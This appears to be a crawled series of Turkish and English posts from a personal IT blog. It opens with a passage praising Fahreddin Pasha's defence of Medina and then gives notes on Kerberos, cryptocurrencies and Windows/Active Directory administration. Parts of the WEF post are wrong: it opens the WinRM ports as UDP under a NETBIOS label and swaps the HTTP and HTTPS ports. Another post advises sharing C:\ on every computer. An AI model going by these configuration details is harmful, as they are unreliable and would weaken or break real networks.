Fahreddin Paşa'nın Medine'deki savunması, tarihte önemli bir yer edinmiştir. Medine'nin savunması, İngilizlerin Arap isyanlarına verdiği desteği azaltmış ve Osmanlı İmparatorluğu'nun bu bölgedeki varlığını sürdürmesine olanak tanımıştır. Ayrıca Fahreddin Paşa, İngilizlerin ve isyancıların yıllardır ele geçiremediği bir bölgeyi başarıyla savunmuş ve böylece askeri dehasını kanıtlamıştır. Fahreddin Paşa şehit olan askerlerinin kabri başında… Fahreddin Paşa'nın Medine'nin savunması, Osmanlı İmparatorluğu'nun son dönemlerindeki askeri başarıları arasında önemli bir yere sahiptir. Ancak, İmparatorluğun zayıflaması ve sonrasında yenilgiye uğraması nedeniyle Fahreddin Paşa da esir düştü ve Malta adasına sürgüne gönderildi. Sürgündeki yaşamı boyunca, Osmanlı İmparatorluğu'nun son dönemlerinde yaşanan olaylar hakkında çeşitli yazılar kaleme aldı ve düşüncelerini dile getirdi. Medine Müdafii Fahreddin Paşa'nın babası, Tuna Vilayeti Posta ve Telgraf Müdürü Mehmed Nahid Efendi. Fahreddin Paşa, hayatının son yıllarında sağlık sorunları yaşamaya başladı ve 22 Kasım 1948 tarihinde vefat etti, Ancak, onun kahramanlıkları ve askeri başarıları, Türk askeri tarihinde daima hatırlanacak ve örnek alınacak bir yer edinmiştir. Özetle, Çöl Kaplanı Fahreddin Paşa, Osmanlı İmparatorluğu'nun son dönemlerinde doğmuş ve hayatı boyunca çeşitli önemli askeri görevlerde bulunmuştur. Ancak, en ünlü görevi, Arap isyanları sırasında Medine'nin savunması olmuştur. Fahreddin Paşa, bu savunma sırasında İngilizlerin ve isyancıların saldırılarına karşı kahramanca mücadele etmiş ve bu sayede Osmanlı İmparatorluğu'nun bu bölgedeki varlığını sürdürmesine olanak tanımıştır. Çöl Kaplanı Fahrettin Paşa, İslam'ın kutsal yerleri olan Medine ve Mekke'nin korunması için çalıştı Bu nedenle, peygamberimiz Hz. Muhammed'in kabrinin bulunduğu Medine'deki Mescid-i Nebevi'ye büyük bir saygı duymaktaydı. Fahrettin Paşa, I. Dünya Savaşı sırasında Medine'nin savunmasını yaparken, Mescid-i Nebevi'nin İngilizlerin eline geçmesinden endişe etmiş ve bu nedenle 1917 yılında, peygamberimiz Hz. Muhammed'in kabrine girerek dua etmiştir. Bu olaya ilişkin olarak, Fahrettin Paşa'nın neler söylediği hakkında çeşitli rivayetler bulunmaktadır. Bazı kaynaklara göre, Fahrettin Paşa, Hz. Muhammed'in kabrinin yanına gelerek, "Ey Allah'ın Rasulü, ben Fahrettin Türkkan, senin dininin ve vatanının hizmetinde bulunmuş bir askerim. Senin için ölmeyi, şehit olmayı çok arzuluyorum. Bu yolda yardımını istiyorum" diye dua etmiştir. Diğer kaynaklarda ise, Fahrettin Paşa'nın kabirde yaptığı duanın detaylarına yer verilmiştir. Buna göre, Fahrettin Paşa, Hz. Muhammed'in kabrine girerek, "Ey Allah'ın Rasulü, ben senin ümmetindenim. İşte, senin Mescid'inin başındayım ve senin kabrinin yanındayım. Allah'ın izniyle senin şerefli davetini sürdürmek için buradayım. Bizimle beraberdir, bizimle beraberdir, bizimle beraberdir" şeklinde dua etmiştir. Başka bir kaynakta ise, Şartlar giderek ağırlaşınca, teslim olmasını teklif edenlere İngilizler'le Araplar'a teslim olmaktansa Hz. Peygamber'in merkadını(kabrini) havaya uçurarak kendisinide burada feda edeceğine dair yeminler ediyordu. Fahrettin Paşa'nın Hz. Muhammed'in kabrine girerek yaptığı dua, onun İslam'a olan bağlılığını ve saygısını gösteren önemli bir olay olarak tarihe geçmiştir. Bu olay aynı zamanda, Fahrettin Paşa'nın, savaşın ve çatışmanın ortasında bile, manevi değerlerine bağlılığını gösteren bir örnek olmuştur. --- ## Kerberos Nedir? - What is Kerberos? Link: https://farukguler.com/posts/kerberos-nedir/ Kerberos, ağ tabanlı bir kimlik doğrulama protokolüdür. İlk olarak MIT (Massachusetts Institute of Technology) tarafından 1980'lerde geliştirilmiştir ve daha sonra IETF (Internet Engineering Task Force) tarafından standartlaştırılmıştır. Kerberos, kullanıcıların kimliklerinin doğrulanmasına ve ağ hizmetlerine güvenli bir şekilde erişmelerine olanak tanır. Kerberos, adını Yunan mitolojisinden alır. Kerberos, üç başlı bir köpektir ve Hades'in yeraltı dünyasını korumak için görevlendirilmiştir. Kerberos protokolü, ağ güvenliği için bir köpek gibi görev yapar. Kerberos, aşağıdaki bileşenlerden oluşur: Kullanıcı: Kullanıcılar, ağ kaynaklarına erişmek istediklerinde Kerberos kimlik bilgilerini kullanırlar. Sunucu: Sunucular, ağ kaynaklarına erişim sağlamak için kullanıcıların kimliklerini doğrularlar. Kerberos sunucusu: Kerberos sunucusu, kullanıcıların kimliklerini doğrular ve ağ kaynaklarına erişim izni verir. Kullanıcı istemcisi: Kullanıcı istemcisi, kullanıcıların kimliklerini doğrulamak için Kerberos sunucusuyla iletişim kurar. Veritabanı sunucusu: Veritabanı sunucusu, Kerberos kimlik bilgileri ve diğer verileri saklar. Kerberos, aşağıdaki adımları takip eder: Kullanıcı, ağ kaynaklarına erişmek istediğinde, Kerberos kimlik bilgilerini kullanır. Kullanıcı istemcisi, Kerberos sunucusundan bir bilet talep eder. Kerberos sunucusu, kullanıcının kimliğini doğrular ve bir bilet verir. Kullanıcı istemcisi, bilet ile birlikte sunucuya istek gönderir. Sunucu, biletin doğruluğunu kontrol eder ve kullanıcının kimliğini doğrular. Sunucu, kullanıcının istediği kaynaklara erişim izni verir. Kerberos, kimlik doğrulama için şifreli anahtarlar kullanır. Kullanıcı, Kerberos sunucusundan bir anahtar isteyebilir ve anahtar, kullanıcının şifresini kullanarak şifrelenir. Kullanıcının bu anahtarı alması, ağ kaynaklarına erişmesine izin verir. Anahtar, kullanıcının istekleri sırasında geçici olarak kullanılır ve her seferinde yenisi oluşturulur. Kerberos, ayrıca ağ trafiğinin şifrelenmesiyle güvenliği artırır. Kullanıcıların şifreleri de şifrelenir, bu da saldırganların kullanıcı şifrelerini ele geçirmelerini zorlaştırır. Kerberos ayrıca zaman sınırlamaları ve oturum süresi gibi yönetim özellikleri sunar, bu da yöneticilerin ağ güvenliğini daha da artırmasına olanak tanır. Kerberos, birçok işletme ve kuruluş için özellikle yararlıdır. Örneğin, büyük bir kuruluşun birçok farklı bilgisayarı ve kullanıcısı olabilir. Kerberos, her kullanıcının doğrulanması ve kimliklerinin doğru bir şekilde yönetilmesi için merkezi bir yönetim sağlar. Ayrıca, farklı birimler arasında paylaşılan ağ kaynaklarına güvenli bir şekilde erişim sağlar. Kerberos, ayrıca hizmet sağlayıcılar ve uygulama geliştiricileri için de yararlıdır. Kerberos, uygulamaların doğrulanmasını ve güvenli bir şekilde erişim sağlamasını sağlayarak, ağ güvenliği açısından bir katman daha ekler. Örneğin, bir web uygulaması Kerberos kimlik doğrulamasını kullanarak, kullanıcıların web sitesine güvenli bir şekilde erişim sağlamasına olanak tanır. Sonuç olarak, Kerberos, ağ güvenliği için önemli bir protokoldür. Kimlik doğrulama, şifreleme ve zaman sınırlamaları gibi özellikleri sayesinde, saldırganların ağ kaynaklarına erişmesini önler. Kuruluşlar, kullanıcılar ve uygulama geliştiricileri için yararlıdır ve birçok kuruluş için güvenli ağ erişimi sağlar. --- ## Who included a computer in the domain Link: https://farukguler.com/posts/who-included-a-computer-in-the-domain/ Yetkili bir kullanıcı ile windows\debug klasörü altındaki NetSetup.log dosyasını inceler, Ağınızdaki tüm bilgisayarların C:\ yolunu paylaşıma açmayı unutmayınız. Examine the NetSetup.log file under the windows\debug folder with an effective user. Do not forget to share the C:\ path of all computers in your network. Powershell ISE 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 $NoInfo = $null $Offline = $null $List = $null #Get-Content getir.txt | foreach { Get-ADComputer -Filter * | foreach { $FQDN = $_.DNSHostName $Path = "\\$FQDN\c`$\Windows\debug\NetSetup.log" if (Test-Connection $FQDN -Count 1 -ErrorAction SilentlyContinue) { if (Test-Path $Path) { write-host "`n`nChecking $FQDN..." $User = ($($(Select-String -Path $Path -Pattern "lpAccount: " -CaseSensitive) -split " ")[3]) $User [array]$List += Write-Output $FQDN";"$User } else {[array]$NoInfo += $FQDN} } else {[array]$Offline += $FQDN} } $list --- ## Hedera (HBAR) Nedir? Blockchain'e Rakip Hashgraph Teknolojisi Link: https://farukguler.com/posts/hedera-hashgraph-hbar-nedir/ Hedera (HBAR), geleneksel blockchain mimarisini kullanmayan, bunun yerine “Hashgraph” adı verilen patentli bir konsensüs (mutabakat) algoritması kullanan, kurumsal düzeyde bir halka açık dağıtık defter teknolojisidir (DLT). Bitcoin veya Ethereum gibi “bloklardan” oluşan bir “zincir” (block-chain) yerine Hedera, “Gossip Protocol” (Dedikodu Protokolü) üzerine kurulu Yönlendirilmiş Asiklik Grafik (DAG) tabanlı bir yapı kullanır. Bu benzersiz mimari, Hedera’nın saniyede 10.000’den fazla işlem (TPS) gerçekleştirmesini, 3-5 saniye içinde kesinliğe (finality) ulaşmasını ve işlem ücretlerini $0.0001 gibi ultra düşük seviyelerde tutmasını sağlar. Hedera’nın temel amacı, hem merkeziyetsiz uygulamalar (dApp’ler) hem de büyük kurumsal sistemler için “üçüncü nesil” halka açık ağ olmaktır. Blockchain vs. Hashgraph: Temel Fark Nedir? Hedera’yı anlamak için geleneksel blockchain’den farkını bilmek gerekir: Blockchain: Madenciler veya doğrulayıcılar, bir grup işlemi bir “bloka” koymak için yarışır. Genellikle sadece bir blok kazanır ve zincire eklenir. Diğerleri tarafından oluşturulan “yetim” bloklar atılır ve bu da enerji/zaman kaybına yol açar. Ağda “çatallanma” (fork) riski her zaman vardır. Hashgraph (Hedera’nın Yöntemi): Bu sistemde “blok” yoktur ve hiçbir işlem atılmaz. Bunun yerine şu süreç işler: Gossip about Gossip (Dedikodu hakkında dedikodu): Ağdaki bir düğüm (node) yeni bir işlem öğrendiğinde, bu bilgiyi rastgele seçtiği birkaç başka düğüme “dedikodu” olarak aktarır. Bu düğümler de aldıkları bilgiyi (kimden, ne zaman aldıkları bilgisiyle birlikte) kendi seçtikleri diğer düğümlere aktarır. Bu süreç, tüm ağın yeni bilgiyi saniyeler içinde “üstel” bir hızla öğrenmesini sağlar. Sonuç: Ağ, tüm işlemlerin sırasını ve zaman damgasını, bloklara ihtiyaç duymadan, matematiksel bir kesinlikle (aBFT - Asenkron Bizans Hata Toleransı) belirler. Çatallanma (fork) olasılığı yoktur ve hiçbir işlem boşa gitmez. Hedera’nın Kurumsal Yönetimi: Yönetim Konseyi Hedera’nın merkeziyetsizlik yaklaşımı da teknik yapısı kadar benzersizdir. Ağ, tek bir kişi veya vakıf tarafından değil, Hedera Yönetim Konseyi (Governing Council) tarafından yönetilir. Bu konsey, farklı endüstrilerden ve coğrafyalardan 39 adede kadar dünya lideri kuruluştan oluşur. Üyeler: Google, IBM, Boeing, DLA Piper (küresel hukuk firması), ServiceNow, Dell, abrdn (varlık yöneticisi) ve Shinhan Bank (Güney Kore’nin en büyük bankalarından biri) gibi dev şirketler bu konseyin üyeleridir. İşleyiş: Her üyenin eşit oy hakkı vardır ve üyelikleri süre sınırlıdır (maksimum iki dönem). Bu, tek bir şirketin veya küçük bir grubun ağı ele geçirmesini engellemek için tasarlanmıştır. Algoritmanın mucidi olan Swirlds şirketi ise konseyin daimi bir üyesidir. Görevi: Bu konsey, ağın yazılım güncellemelerini onaylar, ağ ücretlerini belirler ve platformun stratejik yönü hakkında kararlar alır. Hedera’nın Temel Hizmetleri Hedera, geliştiricilere üç ana hizmet sunar: 1. Hedera Token Service (HTS) Bu, Hedera’nın en güçlü özelliklerinden biridir. HTS, geliştiricilerin Ethereum’daki gibi karmaşık ve pahalı bir “akıllı sözleşme” yazmasına gerek kalmadan, doğrudan protokol seviyesinde (native) token (hem fungible/ERC-20 benzeri hem de NFT) oluşturmasına olanak tanır. Avantajı: HTS ile oluşturulan token’lar, ağın yerel parası olan HBAR ile aynı hıza, güvenliğe ve ultra düşük işlem ücretlerine sahip olur. Ayrıca, protokol seviyesinde “KYC”, “dondurma” (freeze) ve “silme” (wipe) gibi kurumsal uyumluluk özellikleri de içerir. 2. Hedera Consensus Service (HCS) HCS, “konsensüsün kendisini bir hizmet olarak” sunar. Herhangi bir web2 veya web3 uygulamasının, kendi sistemindeki olaylar için Hedera ağından güvenilir bir zaman damgası ve adil bir sıralama almasını sağlar. Kullanım Alanı: Bir tedarik zinciri uygulaması, bir ürünün her hareketini HCS’ye bir mesaj olarak gönderebilir. HCS, bu mesajın değiştirilemez ve sıralı bir kaydını tutar. Bu, tam bir akıllı sözleşme çalıştırmaktan çok daha hızlı ve ucuz bir “dijital noter” hizmetidir. 3. Akıllı Sözleşmeler (Smart Contracts) Hedera, Solidity dilinde yazılmış Ethereum akıllı sözleşmeleriyle (EVM) tam uyumludur. Geliştiriciler, Ethereum’daki dApp’lerini kolayca Hedera’ya taşıyabilir ve ağın yüksek hızından/düşük ücretlerinden faydalanabilirler. HBAR Token’ı Ne İşe Yarar? HBAR, Hedera ağının yerel (native) kripto para birimidir ve iki temel işlevi vardır: Ağ Yakıtı (Fuel): HTS ile token oluşturmak, HCS’ye mesaj göndermek, akıllı sözleşme çalıştırmak veya basit bir HBAR transferi yapmak gibi ağ üzerindeki tüm hizmetlerin ve işlem ücretlerinin ödenmesinde kullanılır. Maksimum arzı 50 Milyar HBAR ile sınırlandırılmıştır. Ağ Güvenliği (Proxy Staking): Hedera, ağı güvence altına almak için Proof-of-Stake (PoS) mekanizmasını kullanır. Ancak bu, “Proxy Staking” adı verilen farklı bir modeldir. Proxy Staking (Vekaleten Staking): HBAR sahipleri, token’larını ağın güvenliğine katkıda bulunmak için bir doğrulayıcı düğüme (şu anda konsey üyeleri tarafından çalıştırılan) “vekâleten” atayabilirler. Kilit Fark: Geleneksel staking’in aksine, proxy staking’de HBAR’lar kilitlenmez. Kullanıcı, token’larını cüzdanında tutmaya ve istediği an harcamaya devam eder, ancak bu token’lar aynı anda ağın güvenliğine (oy ağırlığına) katkı sağlar ve kullanıcıya pasif gelir (staking ödülü) kazandırır. --- ## The agent was not able to submit data on behalf of another computer because agent proxy is not enabled. Link: https://farukguler.com/posts/the-agent-was-not-able-to-submit-data-on-behalf-of-another-computer-because-agent-proxy-is-not-enabled/ Microsoft.SystemCenter.DiscoveryWriteActionModule.AgentProxyingNotEnabled.Alert Bu uyarı, bir Operations Manager aracısının başka bir bilgisayarda bulunan bir nesne hakkında veri bulmaya veya oluşturmaya çalıştığını gösterir. Buna varsayılan olarak izin verilmez, ancak bazen uygun izleme için bu gereklidir. Örneğin bir sanal küme clusterini keşfetmeye çalışıyor olabilir. Aracının başka bir bilgisayar adına veri bulabilmesi ve gönderebilmesi gerektiğinden eminseniz, bu aracı için proxy'yi etkinleştirmelisiniz: SCOM Operations Manager Consolu üzerinden Agent Managed view kısmını açın Sonra Özellikler'i açın Güvenlik sekmesinde, Bu aracının proxy görevi görmesine izin ver seçeneğini işaretleyin. Tamam'ı tıklayın. & This alert indicates that an SCOM Operations Manager agent is trying to find or create data about an object located on another computer. This is not allowed by default, but is sometimes required for proper monitoring. For example, it might be trying to discover a virtual cluster cluster. Go to the Administration space in the Operations Manager ConsoleFind the agent in the Agent Managed viewOpen Properties for that agentIn the Security tab, check the Allow this agent to act as a proxy optionClick OK --- ## Solana (SOL) Nedir? Yüksek Hızın İnovasyonu ve Bedeli Link: https://farukguler.com/posts/solana-sol-nedir/ Solana (SOL), “Ethereum Katili” olarak ünlenen ve saniyede on binlerce işlemi (TPS) ultra düşük ücretlerle işlemek için sıfırdan tasarlanmış, yüksek performanslı bir Layer 1 (Katman 1) blockchain ağıdır. SOL, bu ağın yerel (native) kripto para birimidir. 2017 yılında Anatoly Yakovenko (eski bir Qualcomm mühendisi) tarafından kurulan ve 2020’de ana ağını başlatan Solana’nın temel amacı, geleneksel blockchain’lerin (Bitcoin, Ethereum) karşılaştığı ölçeklenebilirlik çıkmazını, “blockchain trilemmasını” (Güvenlik, Merkeziyetsizlik, Ölçeklenebilirlik) farklı bir teknolojik yaklaşımla çözmektir. Solana’nın mimarisi, işlemlerin sırasını doğrulamak için Proof-of-History (PoH) adı verilen benzersiz bir mekanizma kullanır. Bu, onu diğer tüm blockchain’lerden ayırır. Solana’nın Çekirdek İnovasyonu: Proof-of-History (PoH) Geleneksel blockchain’lerde (örn. Bitcoin) en büyük zorluklardan biri, tüm düğümlerin (node) işlemlerin sırası konusunda fikir birliğine varmasıdır. Bu, zaman alan ve “zaman damgası” (timestamp) için sürekli iletişim gerektiren bir süreçtir. Solana’nın kurucusu Anatoly Yakovenko, bu sorunu çözmek için Proof-of-History (PoH), yani “Geçmiş Kanıtı” fikrini geliştirdi. PoH Nedir? PoH, bir konsensüs (mutabakat) mekanizması değildir. O, olayların (işlemlerin) gerçekleştiği anı kriptografik olarak kanıtlayan merkeziyetsiz bir saattir. Nasıl Çalışır? PoH, belirli bir zaman aralığında sürekli olarak çalışan bir “Doğrulanabilir Gecikme Fonksiyonu” (VDF) kullanır. Her işlemin çıktısı, bir sonraki işlemin girdisi olur ve böylece tüm işlemlerin arasında kriptografik olarak doğrulanabilir bir “zaman sırası” oluşturulur. Avantajı: Ağdaki doğrulayıcılar (validators), bir işlemin ne zaman gerçekleştiğini birbirlerine sormak zorunda kalmazlar. Sadece PoH tarafından oluşturulan bu “geçmiş kaydına” bakarlar. Bu, konsensüs için gereken iletişim yükünü dramatik bir şekilde azaltır ve ağın inanılmaz hızlara (teorik olarak 50.000+ TPS) ulaşmasını sağlar. Solana’nın Konsensüs ve Diğer Teknolojileri Solana, PoH’un yanı sıra yüksek performans için tasarlanmış sekiz temel inovasyonu bir arada kullanır: Tower BFT (Konsensüs): Bu, Solana’nın asıl konsensüs mekanizmasıdır. PoH’un sağladığı “saati” kullanarak optimize edilmiş bir Pratik Bizans Hata Toleransı (PBFT) versiyonudur. Doğrulayıcıların, PoH kaydına bakarak hızla oy kullanmasına olanak tanır. Sealevel (Paralel İşleme): Ethereum’un (EVM) aksine, Solana’nın akıllı sözleşme motoru olan Sealevel, birbiriyle ilgisi olmayan akıllı sözleşmeleri aynı anda (paralel olarak) işleyebilir. EVM’nin tek şeritli yoluna karşılık, Sealevel çok şeritli bir otoyol gibidir. Turbine (Blok Yayılımı): İşlem verilerini küçük paketlere bölerek ağ üzerinde hızla yayar. Gulf Stream (Mempool Yönetimi): İşlemleri, daha onaylanmadan önce sıradaki doğrulayıcılara ileterek “mempool” (bekleme havuzu) ihtiyacını neredeyse ortadan kaldırır. SOL Token: Arz, Enflasyon ve Ekosistemdeki Rolü SOL, Solana ekosisteminin merkezindeki varlıktır ve hem ağın güvenliğini hem de ekonomisini yönlendirir. 1. Token’ın Kullanım Alanları (Utility) İşlem Ücretleri (Gas): Ağdaki tüm işlemlerin (transferler, akıllı sözleşme çalıştırma, NFT mint etme) ücretleri SOL ile ödenir. Bu ücretler, genellikle bir kuruşun altındadır. Staking (Güvenlik): Solana, bir Proof-of-Stake (PoS) ağıdır. SOL sahipleri, token’larını bir doğrulayıcıya (validator) “devrederek” (delegating) ağın güvenliğine katkıda bulunur ve karşılığında pasif gelir (staking ödülleri) elde ederler. Yönetişim (Governance): SOL sahipleri, gelecekte ağın yönetişim mekanizmalarına katılarak protokol güncellemeleri üzerinde söz sahibi olabilirler. 2. Token Arzı ve Ekonomik Model Maksimum Arz: SOL’un Bitcoin veya Arweave gibi sert bir maksimum arz sınırı (hard cap) yoktur. Enflasyonist Model: SOL, ağın güvenliğini (staking ödüllerini) finanse etmek için enflasyonist bir modele sahiptir. Yıllık enflasyon oranı, başlangıçta yüksek (örn. %8) olacak ve zamanla (~%1.5’e kadar) düşecek şekilde tasarlanmıştır. Deflasyonist Mekanizma (Yakım): Bu enflasyonu dengelemek için, ağda ödenen tüm işlem ücretlerinin (gas fees) %50’si yakılır (burn edilir). Kalan %50 ise işlemi bloğa dahil eden doğrulayıcıya gider. Net Etki: SOL’un tokenomisi, (Staking yoluyla yaratılan yeni SOL) ile (İşlem ücretleriyle yakılan SOL) arasındaki dengeye dayanır. Ağ kullanımı arttıkça, yakılan miktar artar ve enflasyonist baskı azalır. Gelecek Beklentisi: Muazzam Potansiyel ve Geçmişin Gölgeleri Solana’nın geleceği, onun teknik inovasyonlarının, pazarın zorlu gerçekleriyle nasıl başa çıktığına bağlıdır. Projenin Güçlü Yanları (Potansiyel): Kanıtlanmış Hız ve Düşük Ücretler: Solana, özellikle 2021 ve 2023-24’teki “meme coin” ve DeFi çılgınlıkları sırasında, yoğun talep altında bile saniyenin altında işlem süreleri ve kuruşluk ücretler sunabileceğini kanıtlamıştır. Güçlü ve Sadık Ekosistem: Birçok L1 projesinin aksine, Solana “gerçek” bir hayatta kalma testi vermiştir. 2022’deki FTX çöküşü (aşağıda detaylandırılmıştır) ekosistemi neredeyse yok olma noktasına getirse de, geliştiriciler ve topluluk projeyi terk etmemiş, bu da ağın “dayanıklılığını” (resilience) kanıtlamıştır. Firedancer (Gelecekteki Çözüm): Solana’nın istikrar sorunlarına en büyük yanıt, Jump Crypto tarafından geliştirilen Firedancer adlı ikinci ve bağımsız bir doğrulayıcı istemcisidir. Bu, ağın hem performansını katlanarak artırmayı hem de tek bir istemciye (Anza’nın mevcut istemcisi) bağımlılığı azaltarak “merkeziyetçilik” riskini düşürmeyi hedefler. Projenin Önündeki Engeller (Zorluklar): Ağ İstikrarı Mirası: Solana’nın “hız” odaklı mimarisi, özellikle 2021 ve 2022 yıllarında, ağın aşırı talep (genellikle bot aktiviteleri) nedeniyle durduğu veya tıkandığı çok sayıda ağ kesintisi yaşamasına neden olmuştur. Bu kesintiler, projenin “istikrar” ve “güvenilirlik” konusundaki itibarına kalıcı bir gölge düşürmüştür. Firedancer, bu sorunu çözmeyi vaat etse de, bu algıyı kırmak zaman alacaktır. FTX’in Ekonomik Mirası: Solana’nın en büyük ilk destekçilerinden biri FTX borsası ve Alameda Research idi. FTX’in 2022’de iflas etmesiyle birlikte, iflas masasının elinde on milyonlarca SOL (milyarlarca dolar değerinde) kilitli token kaldı. Bu devasa arz, yıllar boyunca piyasa üzerinde “her an satılabilir” bir baskı (overhang) yarattı ve token’ın fiyatını ekonomik olarak rehin tuttu. Bu varlıkların büyük kısmı satılmış olsa da, yarattığı travma tokenomisi için önemli bir tarihi gerçektir. Merkeziyetçilik Tartışmaları: Solana’nın yüksek TPS’i, çok güçlü (ve pahalı) donanımlar gerektiren doğrulayıcılara (validator) ihtiyaç duyar. Bu durum, doğrulayıcı sayısını sınırlar ve ağı donanımsal olarak “merkezi” hale getirmekle eleştirilir. Ayrıca, ağın geliştirilmesi ve yönetimi, Solana Vakfı ve Anza gibi çekirdek kuruluşların güçlü etkisi altındadır. Sonuç Solana, blockchain teknolojisinde “hızın” sınırlarını zorlayan, teknik olarak en iddialı projelerden biridir. Proof-of-History (PoH) ve paralel işleme (Sealevel) gibi temel yenilikleri, onu düşük maliyetli ve yüksek hacimli uygulamalar (DeFi, oyun, NFT’ler) için bir merkez haline getirmiştir. Bu hızın bedeli, geçmişte yaşanan ağ kesintileriyle ortaya çıkan “istikrar” ve “merkeziyetsizlik” ödünleri olmuştur. FTX krizinden sağ kurtulan ve Firedancer gibi çözümlerle kendini yeniden icat eden Solana’nın gelecekteki başarısı, bu üç temel direği (Hız, Güvenlik, Merkeziyetsizlik) sürdürülebilir bir dengeye oturtup oturtamayacağına bağlıdır. --- ## User Principal Name and Name Suffix Routing Link: https://farukguler.com/posts/user-principal-name-and-name-suffix-routing/ Kullanıcının User Principal Name’indeki “@” işaretinden sonraki kısma “UPN Suffix” denir. Her kullanıcının UPN Suffix’i oluşturduğu domain adı ile aynıdır. Yeni bir UPN Suffix eklemek istiyorsanız Active Directory Domains and Trusts > Properties yönetim konsolunu kullanabilirsiniz. Genelde local olarak ayarlanmış domain name kısmının Exchange ile entegre olabilmesi için kullanılır. kullanıcılar üzerinde test edelim; Görüldüğü üzere Exchange için istenilen UPN name dönüştürülebilmektedir. --- ## Windows Event Forwarding (WEF) Link: https://farukguler.com/posts/windows-event-forwarding-wef/ Windows Event Forwarding (WEF) allows you to collect event logs of windows based systems on a central server or SIEM. There are two operating modes for WEF; Pull mode: In this mode, the WEF server goes and collects the logs on its own, which is not a preferred method as it will impose a load on the server. Push mode: In this mode, clients send logs to WEF server over http TCP 5985 and https 5986 ports via WinRM service. The biggest advantage of this mode is that it will prevent performance problems as it does not create a load on the WEF server. Collector Iniated(Pull mode): Starts the WEF server to collect logs. WEF server connects to clients and pulls logs on itself. This method is not recommended as it is not economical in terms of resource usage. Source Computer Initiated(Push mode): Clients send their logs to the WinRM ports of the target WEF server (such as WinRM over HTTPS (TCP\5985) or WinRM over HTTP (TCP\5986)) via the WinRM service. This method is similar to transmitting log records with syslog. Here, the source is the clients, which is the source of the spent log, and these systems register to the WEF server with Kerberos Authetincation. #Windows Remote Management (WInRM) enabled winrm qc #Configure Event Collection Services enable wecutil qc #You need to allow TCP 5985 and https 5986 ports over firewall. netsh advfirewall firewall add rule name="NETBIOS UDP Port 5985" dir=in action=allow protocol=UDP localport=5985 netsh advfirewall firewall add rule name="NETBIOS UDP Port 5986" dir=in action=allow protocol=UDP localport=5986 Computer Configuration >Polices > Administrative Templates > Windows Components > Event Forwarding” altında “SubscriptionManager Enabled Computer Configuration -> Polices > Administrative Templates -> Windows Components -> Windows Remote Management (WinRM) -> WinRM Service -> Turn On Compatibility HTTP & HTTPS Listener Enabled Computer Configuration>Windows Settings > Security Settings > System Services > Windows Remote management > Automatic Let's enter the following value in the Subscription Manager section. Of course, you will arrange it according to your own WEF server. (I redirected to DC) Server=http://anatolia.guler.com:5985/wsman/SubscriptionManager/WEC,Refresh=60 After these processes, we open the Event Viewer on the server you have designated as the WEF server. From the Subscriptions section, we click on Create Subscription. From the Source Computer Initiated section, we configure the settings as seen. If there is a warning, it will probably be a warning that your disk and performance will decrease because you have chosen to take too many logs. Note: If the log will be collected with the Collector Initiated method, the WEF server must be added to the “Event Log Readers” group with Restricted Groups as “Computer” account. At the end of these processes, we will start to see our logs in Forwarded Events. Faydalı olması dileğiyle - Hope it's useful --- ## Microsoft AD user or group based Fine-Grained Password Policies Link: https://farukguler.com/posts/microsoft-fine-grained/ Fine-Grained Password Policy, Active Directory ortamında kullanıcı bazlı spesifik parola ve hesap kilitleme ayarlarının yapılmasına imkan veren önemli bir yapıdır. Bu yapı sayesinde, özellikle büyük şirketlerde birden fazla kullanıcının yönetimi sırasında parola politikalarının daha ayrıntılı bir şekilde yapılandırılması mümkündür. Örneğin, bir şirketin müdürleri için daha az esnek bir parola ve hesap kilitleme politikası belirleyerek, daha yüksek bir güvenlik seviyesi sağlayabilirken, çalışanlar için daha kısıtlı ayarlar yaparak kullanıcı deneyimini artırabilirsiniz. Böylece, şirket içindeki farklı kullanıcı gruplarına özel olarak uyarlanmış parola politikaları oluşturarak, güvenliği artırmak ve kullanıcı deneyimini geliştirmek mümkün olur. Fine-Grained Password Policy'nin avantajlarından biri de, sadece kullanıcı bazlı değil, aynı zamanda kullanıcı gruplarına da detaylı parola ayarları yapabilme imkanı sağlamasıdır. Bu özellik sayesinde, farklı departmanlar veya ekipler için farklı parola politikaları belirleyebilirsiniz. Örneğin, mali işler departmanı için daha yüksek bir güvenlik seviyesi gerektiren bir parola politikası belirleyerek, IT departmanı için daha esnek bir politika belirleyebilirsiniz. Sonuç olarak, Fine-Grained Password Policy'nin kullanımı, Active Directory ortamında parola politikalarının daha ayrıntılı bir şekilde yapılandırılmasını ve farklı kullanıcı gruplarına özel olarak uyarlanmasını mümkün kılar. Bu sayede, güvenliği artırarak şirket içindeki bilgi güvenliğini korumak ve kullanıcı deneyimini geliştirmek mümkün olur. 1) Name: oluşturulacak password settings objesinin adını belirle 2) Precedence: Password Settings objesinin öncelik değerini belirle 3) Protect: policy i yanlışlıkla silinmeye karşı koru 4) Password must meet complexity requirements: şifrenin karmaşık olup olmayacağının belirle 5) Enforce minimum password age: kullanıcı şifrelerine minimum süre atanmasını zorunlu hale getir 6) Enforce maximum password age: kullanıcı şifrelerine maksimum yaşam süresi atanmasını zorunlu hale getir 7) Enforce account lockout policy: hesap kilitlenme kurallarını aktif et 8) Add: Policy nin uygulanacağı grubu ekle Saygılarımla. – Best regards. --- ## Database 'DB_name' is low on log volume space. Link: https://farukguler.com/posts/db_name-is-low-on-log-volume-space/ Database 'Servername' is low on log volume space, 'DBname' is low on log volume space, "low on log volume space" uyarının nedeni, günlük disk alanı için belirli bir değer sınırına ( Sizin: 175.78GB ) sahip olmamızdır. bunu tekrar check ederek doğrulayabilirsiniz. Get-ServerHealth –Identity EXCH02 –HealthSet MailboxSpace Günlük disk alanı sorununu düzeltmek için, kayıt defteri anahtarını ( DWORD) değiştirin veya yoksa oluşturun :HKLM\Software\Microsoft\ExchangeServer\v15\Replay\Parameters\SpaceMonitorLowSpaceThresholdInMB :HKLM\Software\Microsoft\ExchangeServer\v15\ActiveMonitoring\Parameters REG_DWORD: SpaceMonitorLowSpaceThresholdInMB 0x0000c350(50000) --- ## PortQryUI (Port Query) Kullanımı Link: https://farukguler.com/posts/portqryui/ Network erişimlerinin kontrolleri için kullanılacak araçların başında Port query gelir.Kısaca erişmemiz gereken portun yada portların durumları ile ilgili testleri araç sayesinde yapabiliriz, Portquery TCP ve UDP portlar hakkında bilgiler içerir, Listening: Çalıştırılan bilgisayarda işlemin kullandığı portların erişilebilir olduğunu gösterir. Not Listening: İşlem ile ilgili portların erişilemez olduğunu gösterir. Filtered: işlemle ilgili seçilen portların kısıtlanmış (filtered) durumda olduklarını gösterir. Aşağıdaki resimlerde DC üzerinde port kaynaklı bir sorun olup olmadığını 